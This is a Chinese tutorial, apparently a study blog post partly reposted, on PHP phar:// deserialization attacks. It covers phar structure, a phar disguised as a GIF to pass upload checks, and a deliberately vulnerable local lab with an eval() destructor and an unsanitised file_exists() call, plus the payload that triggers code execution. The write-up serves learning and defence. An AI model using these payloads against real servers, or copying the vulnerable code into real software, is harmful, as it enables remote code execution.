概要
来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。
关于流包装
大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://
,zlib://
或php://
。
例如常见的
include('php://filter/read=convert.base64-encode/resource=index.php'); include('data://text/plain;base64,xxxxxxxxxxxx');
phar://
也是流包装的一种
phar原理
a stub
可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
官方手册
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
demo
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
phar.php:
<?php class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='hu3sky'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
访问后,会生成一个phar.phar在当前目录下
用winhex打开
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
phar_fan.php
<?php class TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. } } include('phar://phar.phar'); ?>
输出
将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头 $phar ->addFromString('test.txt','test'); //添加要压缩的文件 $object = new TestObject(); $object -> data = 'hu3sky'; $phar -> setMetadata($object); //将自定义meta-data存入manifest $phar -> stopBuffering(); ?>
采用这种方法可以绕过很大一部分上传检测。(可以绕过exif_imagetype等函数判断)
利用条件
phar文件要能够上传到服务器端。
如file_exists()
,fopen()
,file_get_contents()
,file()
等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:
、/
、phar
等特殊字符没有被过滤。
漏洞验证
环境准备
upload_file.php
,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gifupload_file.html
文件上传表单file_un.php
存在file_exists()
,并且存在__destruct()
文件内容
upload_file.html
<!DOCTYPE html> <html lang="zh-cn"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> phar反序列化 </head> <body> <form action="http://127.0.0.1/Phartest/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body>
upload_file.php
<?php $tmp_file_location='E:/phpstudy/WWW/'; if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], $tmp_file_location."upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; } ?>
file_un.php
<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);
实现过程
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://
执行代码
构造代码
eval.php
<?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering();
注意设置 phar.readonly=0(发现phpstudy 5.4.455nts无法生成并且报错,5.5.38可以)
访问eval.php,查看创建的phar文件并且修改后缀为gif
用winhex打开查看,确实有序列化字符串,当用phar://伪协议读取时,便会自动反序列化,引起phar://反序列化
接着上传,文件会上传到upload_file目录下
文件上传中的$_FILES数组
$_FILES['userfile']['name']客户端机器文件的原名称
$_FILES['userfile']['type']文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值
$_FILES['userfile']['size']已上传文件的大小,单位为字节
$_FILES['userfile']['tmp_name']文件被上传后在服务端储存的临时文件名
$_FILES['userfile']['error']和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。
修改临时存储文件目录,在php.ini中设置:
找到指令 upload_tmp_dir:取消注释该行并将其值更改为所需路径,例如 "/var/tmp":
对于PHP 5.5和更高版本,请找到指令 sys_temp_dir:取消注释该行并将其值更改为所需路径,例如 "/var/tmp":
参考资料:
https://xz.aliyun.com/t/2715(转载)
明天学习phar拓展文章: